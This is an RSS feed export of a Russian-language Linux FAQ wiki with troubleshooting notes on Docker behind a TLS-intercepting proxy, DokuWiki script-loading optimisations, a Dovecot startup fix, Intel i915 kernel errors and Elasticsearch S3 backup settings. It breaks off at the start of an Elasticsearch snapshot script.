&lt;pre class=&quot;code&quot;&gt;docker version
Client:
 Version:           18.09.7
 API version:       1.39
 Go version:        go1.10.4
 Git commit:        2d0083d
 Built:             Wed Jul  3 12:13:54 2019
 OS/Arch:           linux/amd64
 Experimental:      false

Server:
 Engine:
  Version:          18.09.7
  API version:      1.39 (minimum version 1.12)
  Go version:       go1.10.4
  Git commit:       2d0083d
  Built:            Mon Jul  1 19:14:14 2019
  OS/Arch:          linux/amd64
  Experimental:     false&lt;/pre&gt;

&lt;p&gt;
Корпоративный proxy-сервер (Cisco-WSA/10.1.4-017), который подменяет сертификаты.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0438\u0441\u0442\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0438\u0441\u0442\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-686&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
При поптытке выполнить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;docker pull hello-world&lt;/pre&gt;

&lt;p&gt;
Вываливается ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; Error response from daemon: Get https://registry-1.docker.io/v2/: remote error: tls: handshake failure&lt;/pre&gt;

&lt;p&gt;
При этом, если из браузера попытаться зайти на &lt;a href=&quot;https://registry-1.docker.io/v2/&quot; class=&quot;urlextern&quot; title=&quot;https://registry-1.docker.io/v2/&quot; rel=&quot;ugc nofollow&quot;&gt;https://registry-1.docker.io/v2/&lt;/a&gt; , то ответ нормальный.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;687-1091&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/docker/for-win/issues/2922&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/docker/for-win/issues/2922&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/docker/for-win/issues/2922&lt;/a&gt; &lt;br/&gt;

Оказалось, что прокси шифрует трафик с помощью cipher suite (TLS_RSA_WITH_AES_128_CBC_SHA, 128 bit keys, TLS 1.2), который уже не поддерживается текущей версией клиента &lt;strong&gt;docker&lt;/strong&gt;. &lt;br/&gt;

Для решения проблемы пришлось откатиться на версию &lt;strong&gt;docker.io 18.06.1&lt;/strong&gt;: &lt;a href=&quot;http://launchpadlibrarian.net/397461917/docker.io_18.06.1-0ubuntu2_amd64.deb&quot; class=&quot;urlextern&quot; title=&quot;http://launchpadlibrarian.net/397461917/docker.io_18.06.1-0ubuntu2_amd64.deb&quot; rel=&quot;ugc nofollow&quot;&gt;http://launchpadlibrarian.net/397461917/docker.io_18.06.1-0ubuntu2_amd64.deb&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1092-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 30 Jul 2019 09:45:06 +0000</pubDate>
        </item>
        <item>
            <title>dokuwiki_check_if_user_logged_in</title>
            <link>https://wiki.autosys.tk/linux_faq/dokuwiki_check_if_user_logged_in</link>
            <description>
&lt;p&gt;
Как проверить, что пользователь залогинен в DokuWiki. &lt;br/&gt;

Мне это нужно для оптимизации загрузки JS-скриптов. &lt;br/&gt;

Ведь незалогиненому пользователю, в большинстве случаев, не нужны многие компоненты js. &lt;br/&gt;

&lt;strong&gt;/var/www/lib/exe/jquery.php&lt;/strong&gt;
&lt;strong&gt;/var/www/lib/exe/js.php&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;if(isset($_COOKIE[DOKU_COOKIE])) {
     echo &amp;#039;User Logged In&amp;#039;;
} 
else {
     echo &amp;#039;User Not Logged In&amp;#039;;
}&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>dokuwiki_disable_jquery_for_guest_users</title>
            <link>https://wiki.autosys.tk/linux_faq/dokuwiki_disable_jquery_for_guest_users</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Мне захотелось ускорить мою &lt;strong&gt;DokuWiki&lt;/strong&gt;, чтобы она быстрее открывалась. Один из способов сделать это - отключить загрузку некритичных библиотек и скриптов. В частности - &lt;strong&gt;JQuery&lt;/strong&gt;. Я буду отключать загрузку &lt;strong&gt;JQuery&lt;/strong&gt; для незалогиненных пользователей (гостей), которые имеют права только на чтение статей.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-561&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Библиотеки &lt;strong&gt;JQuery&lt;/strong&gt; загружаются кодом из файлика &lt;strong&gt;./inc/template.php&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;// load jquery
$jquery = getCdnUrls();
foreach($jquery as $src) {
    $head[&amp;#039;script&amp;#039;][] = array(
        &amp;#039;type&amp;#039; =&amp;gt; &amp;#039;text/javascript&amp;#039;, &amp;#039;charset&amp;#039; =&amp;gt; &amp;#039;utf-8&amp;#039;, &amp;#039;_data&amp;#039; =&amp;gt; &amp;#039;&amp;#039;, &amp;#039;src&amp;#039; =&amp;gt; $src
    );
}&lt;/pre&gt;

&lt;p&gt;
Уровень привилегий пользователя можно определить с помощью функции &lt;strong&gt;auth_quickaclcheck($ID)&lt;/strong&gt;, которая возвращает число от 1 до 255. Гости с правом чтения имеют значение уровня привилегий &lt;strong&gt;1&lt;/strong&gt;. Вот кусочек из &lt;strong&gt;inc/auth.php&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;define(&amp;#039;AUTH_NONE&amp;#039;, 0);
define(&amp;#039;AUTH_READ&amp;#039;, 1);
define(&amp;#039;AUTH_EDIT&amp;#039;, 2);
define(&amp;#039;AUTH_CREATE&amp;#039;, 4);
define(&amp;#039;AUTH_UPLOAD&amp;#039;, 8);
define(&amp;#039;AUTH_DELETE&amp;#039;, 16);
define(&amp;#039;AUTH_ADMIN&amp;#039;, 255);&lt;/pre&gt;

&lt;p&gt;
Соответственно, для достижения желаемого нам надо обернуть код загрузки &lt;strong&gt;JQuery&lt;/strong&gt; в условие, которое проверит уровень привилегий пользователя:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;if(auth_quickaclcheck($ID) &amp;gt; 1){
    // load jquery
    $jquery = getCdnUrls();
    foreach($jquery as $src) {
        $head[&amp;#039;script&amp;#039;][] = array(
            &amp;#039;type&amp;#039; =&amp;gt; &amp;#039;text/javascript&amp;#039;, &amp;#039;charset&amp;#039; =&amp;gt; &amp;#039;utf-8&amp;#039;, &amp;#039;_data&amp;#039; =&amp;gt; &amp;#039;&amp;#039;, &amp;#039;src&amp;#039; =&amp;gt; $src
        );
    }
}&lt;/pre&gt;

&lt;p&gt;
Теперь у незалогиненных пользователей мой сайтик грузится на ~&lt;strong&gt;30%&lt;/strong&gt; быстрее. Без существенных потерь в функциональности и качестве отображения.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;562-2269&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;делаем_загрузку_js_асинхронной&quot;&gt;Делаем загрузку js асинхронной&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Многие скирипты можно загружать ассинхронно, тем самым значительно ускоряя отрисовку.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u0435\u043b\u0430\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 js \u0430\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e\u0439&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u0435\u043b\u0430\u0435\u043c_\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443_js_\u0430\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e\u0439&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2270-2497&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit4&quot; id=&quot;libpluginsckgeditactionmetaphp&quot;&gt;./lib/plugins/ckgedit/action/meta.php&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Функцию &lt;strong&gt;loadScript&lt;/strong&gt; приводим к такому виду (вставляем слово &lt;strong&gt;async&lt;/strong&gt; в строку &lt;strong&gt;&amp;lt;script type=“text/javascript” async&amp;gt;&lt;/strong&gt; ):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;function loadScript(Doku_Event $event) {
  echo &amp;lt;&amp;lt;&amp;lt;SCRIPT

    &amp;lt;script type=&amp;quot;text/javascript&amp;quot; async&amp;gt;
    //&amp;lt;![CDATA[ 
    function LoadScript( url )
    {
     document.write( &amp;#039;&amp;lt;scr&amp;#039; + &amp;#039;ipt type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;&amp;#039; + url + &amp;#039;&amp;quot;&amp;gt;&amp;lt;\/scr&amp;#039; + &amp;#039;ipt&amp;gt;&amp;#039; ) ;        

    }
   function LoadScriptDefer( url )
    {
     document.write( &amp;#039;&amp;lt;scr&amp;#039; + &amp;#039;ipt type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;&amp;#039; + url + &amp;#039;&amp;quot; defer&amp;gt;&amp;lt;\/scr&amp;#039; + &amp;#039;ipt&amp;gt;&amp;#039; ) ;        

    }
//]]&amp;gt; &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;.\/lib\/plugins\/ckgedit\/action\/meta.php&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;libpluginsckgeditactionmetaphp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2498-3166&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit5&quot; id=&quot;inctemplatephp&quot;&gt;./inc/template.php&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
В функции &lt;strong&gt;_tpl_metaheaders_action&lt;/strong&gt;, которая генерирует метатеги, которые, в свою очередь загружают скрипты, нужно добавить проверку привилегий пользователя и для незалогиненных пользователей добавить слово &lt;strong&gt;async&lt;/strong&gt; в строке:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;#039;&amp;gt;&amp;#039;, $attr[&amp;#039;_data&amp;#039;], &amp;#039;&amp;lt;/&amp;#039;, $tag, &amp;#039;&amp;gt;&amp;#039;; &lt;/pre&gt;

&lt;p&gt;
То есть функция будет выглядеть так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;function _tpl_metaheaders_action($data) {
    foreach($data as $tag =&amp;gt; $inst) {
        if($tag == &amp;#039;script&amp;#039;) {
            echo &amp;quot;&amp;lt;!--[if gte IE 9]&amp;gt;&amp;lt;!--&amp;gt;\n&amp;quot;; // no scripts for old IE
        }
        foreach($inst as $attr) {
            if ( empty($attr) ) { continue; }
            echo &amp;#039;&amp;lt;&amp;#039;, $tag, &amp;#039; &amp;#039;, buildAttributes($attr);
            if(isset($attr[&amp;#039;_data&amp;#039;]) || $tag == &amp;#039;script&amp;#039;) {
                if($tag == &amp;#039;script&amp;#039; &amp;amp;&amp;amp; $attr[&amp;#039;_data&amp;#039;])
                    $attr[&amp;#039;_data&amp;#039;] = &amp;quot;/*&amp;lt;![CDATA[*/&amp;quot;.
                        $attr[&amp;#039;_data&amp;#039;].
                        &amp;quot;\n/*!]]&amp;gt;*/&amp;quot;;
                if(auth_quickaclcheck($ID) &amp;gt; 1){
                  echo &amp;#039;&amp;gt;&amp;#039;, $attr[&amp;#039;_data&amp;#039;], &amp;#039;&amp;lt;/&amp;#039;, $tag, &amp;#039;&amp;gt;&amp;#039;;
                } else {
                  echo &amp;#039; async&amp;gt;&amp;#039;, $attr[&amp;#039;_data&amp;#039;], &amp;#039;&amp;lt;/&amp;#039;, $tag, &amp;#039;&amp;gt;&amp;#039;;
                }
            } else {
                echo &amp;#039;/&amp;gt;&amp;#039;;
            }
            echo &amp;quot;\n&amp;quot;;
        }
        if($tag == &amp;#039;script&amp;#039;) {
            echo &amp;quot;&amp;lt;!--&amp;lt;![endif]--&amp;gt;\n&amp;quot;;
        }
    }
}&lt;/pre&gt;

&lt;p&gt;
Таким образом, для незалогиненных пользователей страница будет загружаться гораздо быстрее, но иногда возможны несущественные артефакты из-за ассинхронной загрузки скриптов.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;.\/inc\/template.php&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;inctemplatephp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;3167-5019&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;bootstrap3_template_optimization&quot;&gt;bootstrap3 Template Optimization&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;bootstrap3 Template Optimization&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;bootstrap3_template_optimization&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;5020-5067&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit7&quot; id=&quot;jquery_not_loaded&quot;&gt;Jquery not loaded&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
После очередного обновления &lt;strong&gt;DokuWiki&lt;/strong&gt; сломался темплейт &lt;strong&gt;bootstrap3&lt;/strong&gt; - перестали работать выпадающие меню, а отладочная консоль браузера говорила, что нету &lt;strong&gt;jquery&lt;/strong&gt;. &lt;br/&gt;

Оказалось, что нужно пойти в настройки (&lt;strong&gt;doku.php?do=admin&amp;amp;page=config&lt;/strong&gt;) и выключить (снять галочку) &lt;strong&gt;defer_js&lt;/strong&gt; (или внести те же изменения в &lt;strong&gt;config.php&lt;/strong&gt; вручную).
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Jquery not loaded&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;jquery_not_loaded&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;5068-5642&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit8&quot; id=&quot;font_optimization&quot;&gt;Font Optimization&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://web.dev/font-display/?utm_source=lighthouse&amp;amp;utm_medium=unknown&quot; class=&quot;urlextern&quot; title=&quot;https://web.dev/font-display/?utm_source=lighthouse&amp;amp;utm_medium=unknown&quot; rel=&quot;ugc nofollow&quot;&gt;https://web.dev/font-display/?utm_source=lighthouse&amp;amp;utm_medium=unknown&lt;/a&gt; &lt;br/&gt;

В файлик &lt;strong&gt;./lib/tpl/bootstrap3/assets/fonts/united.fonts.css&lt;/strong&gt; нужно вставить свойство:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;font-display: swap&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Font Optimization&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;font_optimization&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;5643-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 02 Jun 2021 09:47:16 +0000</pubDate>
        </item>
        <item>
            <title>dovecot_not_starting_after_package_update</title>
            <link>https://wiki.autosys.tk/linux_faq/dovecot_not_starting_after_package_update</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
На почтовом сервере &lt;strong&gt;iRedMail&lt;/strong&gt; (postfix+dovecot+redCube) перестал запускаться &lt;strong&gt;dovecot&lt;/strong&gt;. В логах такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo tail /var/log/dovecot.log
...
Jul 02 21:57:28 master: Error: bind(::1, 4190) failed: Cannot assign requested address
Jul 02 21:57:28 master: Error: service(managesieve-login): listen(::1, 4190) failed: Cannot assign requested address
Jul 02 21:57:28 master: Error: bind(::1, 24) failed: Cannot assign requested address
Jul 02 21:57:28 master: Error: service(lmtp): listen(::1, 24) failed: Cannot assign requested address
Jul 02 21:57:28 master: Fatal: Failed to start listeners&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-685&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Оказалось, что нужно убрать из &lt;strong&gt;/etc/dovecot/dovecot.conf&lt;/strong&gt; все вхождения &lt;strong&gt;::1&lt;/strong&gt;. В моем случае они были в разделах описания сервисов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;    inet_listener lmtp {
        # Listen on localhost
        address = 127.0.0.1 ::1
        port = 24
    }&lt;/pre&gt;

&lt;p&gt;
и 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;service managesieve-login {
    inet_listener sieve {
        # Listen on localhost
        address = 127.0.0.1 ::1
        port = 4190
    }&lt;/pre&gt;

&lt;p&gt;
Строки &lt;strong&gt;address = 127.0.0.1 ::1&lt;/strong&gt; нужно привести к виду &lt;strong&gt;address = 127.0.0.1&lt;/strong&gt; и всё будет хорошо.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;686-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>drm_intel_pipe_update_end_i915_error_atomic_update_failure_on_pipe_a</title>
            <link>https://wiki.autosys.tk/linux_faq/drm_intel_pipe_update_end_i915_error_atomic_update_failure_on_pipe_a</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;ошибки_-_drmintel_pipe_update_end_i915&quot;&gt;Ошибки - [drm:intel_pipe_update_end [i915]]&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
На ноутбуке с интергированной графикой Intel (процессор Intel Core i5-2410M ) в логая ядра постоянно появляются ошибки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[drm:intel_pipe_update_end [i915]] *ERROR* Atomic update failure on pipe A (start=115495 end=115496) time 210 us, min 763, max 767, scanline start 760, end 770&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0448\u0438\u0431\u043a\u0438 - [drm:intel_pipe_update_end [i915]]&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0448\u0438\u0431\u043a\u0438_-_drmintel_pipe_update_end_i915&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-425&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;что_не_помогло&quot;&gt;Что НЕ помогло&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
На Ubuntu 19.04 с ядром &lt;strong&gt;5.5.11-050511-lowlatency&lt;/strong&gt; помогло добавление к параметрам ядра таких:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;i915.enable_guc_loading=1 i915.enable_guc_submission=1 intel_pstate=skylake_hwp i915.enable_psr=1 i915.disable_power_well=0 nouveau.modeset=0&lt;/pre&gt;

&lt;p&gt;
То есть я отредактировал файлик &lt;strong&gt;/etc/default/grub&lt;/strong&gt;, в котором строчку &lt;strong&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;/strong&gt; привел к такому виду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot; i915.enable_guc_loading=1 i915.enable_guc_submission=1 intel_pstate=skylake_hwp i915.enable_psr=1 i915.disable_power_well=0 nouveau.modeset=0 quiet &amp;quot;&lt;/pre&gt;

&lt;p&gt;
а затем обновил конфигурацию grub:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo update-grub&lt;/pre&gt;

&lt;p&gt;
и перезагрузился.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0427\u0442\u043e \u041d\u0415 \u043f\u043e\u043c\u043e\u0433\u043b\u043e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0447\u0442\u043e_\u043d\u0435_\u043f\u043e\u043c\u043e\u0433\u043b\u043e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;426-1230&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;drm-tip_kernel&quot;&gt;drm-tip kernel&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Вот тут люди советуют пересобрать &lt;strong&gt;drm-tip kernel&lt;/strong&gt; и установить и вроде все становится ОК :
&lt;a href=&quot;https://bugs.freedesktop.org/show_bug.cgi?id=105870#c16&quot; class=&quot;urlextern&quot; title=&quot;https://bugs.freedesktop.org/show_bug.cgi?id=105870#c16&quot; rel=&quot;ugc nofollow&quot;&gt;https://bugs.freedesktop.org/show_bug.cgi?id=105870#c16&lt;/a&gt; &lt;br/&gt;

Собирать вот так: &lt;a href=&quot;https://01.org/linuxgraphics/documentation/build-guide-0&quot; class=&quot;urlextern&quot; title=&quot;https://01.org/linuxgraphics/documentation/build-guide-0&quot; rel=&quot;ugc nofollow&quot;&gt;https://01.org/linuxgraphics/documentation/build-guide-0&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install build-essential flex bison libssl-dev libelf-dev libncurses5 libncurses5-dev libdw-dev binutils-dev libc6-dev&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;drm-tip kernel&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;drm-tip_kernel&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1231-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 07 Apr 2020 11:39:31 +0000</pubDate>
        </item>
        <item>
            <title>elasticsearch_faq</title>
            <link>https://wiki.autosys.tk/linux_faq/elasticsearch_faq</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;backup_to_s3&quot;&gt;Backup to S3&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для бекапа на &lt;strong&gt;AWS&lt;/strong&gt;-подобный &lt;strong&gt;S3&lt;/strong&gt; надо:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 создать &lt;strong&gt;s3&lt;/strong&gt;-клиента (можно использовать дефолтный - &lt;strong&gt;default&lt;/strong&gt;) и в &lt;strong&gt;Elasticsearch Keystore&lt;/strong&gt; прописать ключи (&lt;strong&gt;access_key&lt;/strong&gt; и &lt;strong&gt;secret_key&lt;/strong&gt;)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 cоздать в Elasticsearch &lt;strong&gt;snapshot repository&lt;/strong&gt;, которому передать в качестве параметров - эндпоинт &lt;strong&gt;S3&lt;/strong&gt;, имя бакета, путь в бакете, регион, имя s3-клиента, если он дефолтный.
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
Для того чтобы прописать ключи - можно использовать файлик &lt;strong&gt;elasticsearch.yml&lt;/strong&gt; или если ES развернут оператором &lt;strong&gt;eck&lt;/strong&gt;, то с помощью спецификации указать на секрет, где хранятся ключи:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apiVersion: elasticsearch.k8s.elastic.co/v1
kind: Elasticsearch
spec:
  secureSettings:
  - secretName: s3-backup-keys&lt;/pre&gt;

&lt;p&gt;
А в секрете собственно прописать ключи:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apiVersion: v1
kind: Secret
metadata:
  name: s3-backup-keys
type: Opaque
data:
  s3.client.default.access_key: 0L/Ri9GJLdC/0YvRiSAtYgo=
  s3.client.default.secret_key: 0L4t0LvQvi3Qu9C+IC1iCg==&lt;/pre&gt;

&lt;p&gt;
То есть ключи секрета - представляют собой параметры, аналогичные прописываемым в &lt;strong&gt;elasticsearch.yml&lt;/strong&gt;. В данном случае - это параметры для &lt;strong&gt;s3.client&lt;/strong&gt; с именем &lt;strong&gt;default&lt;/strong&gt; &lt;br/&gt;

Скрипт для создания снапшотов по расписанию может выглядеть так:
&lt;/p&gt;
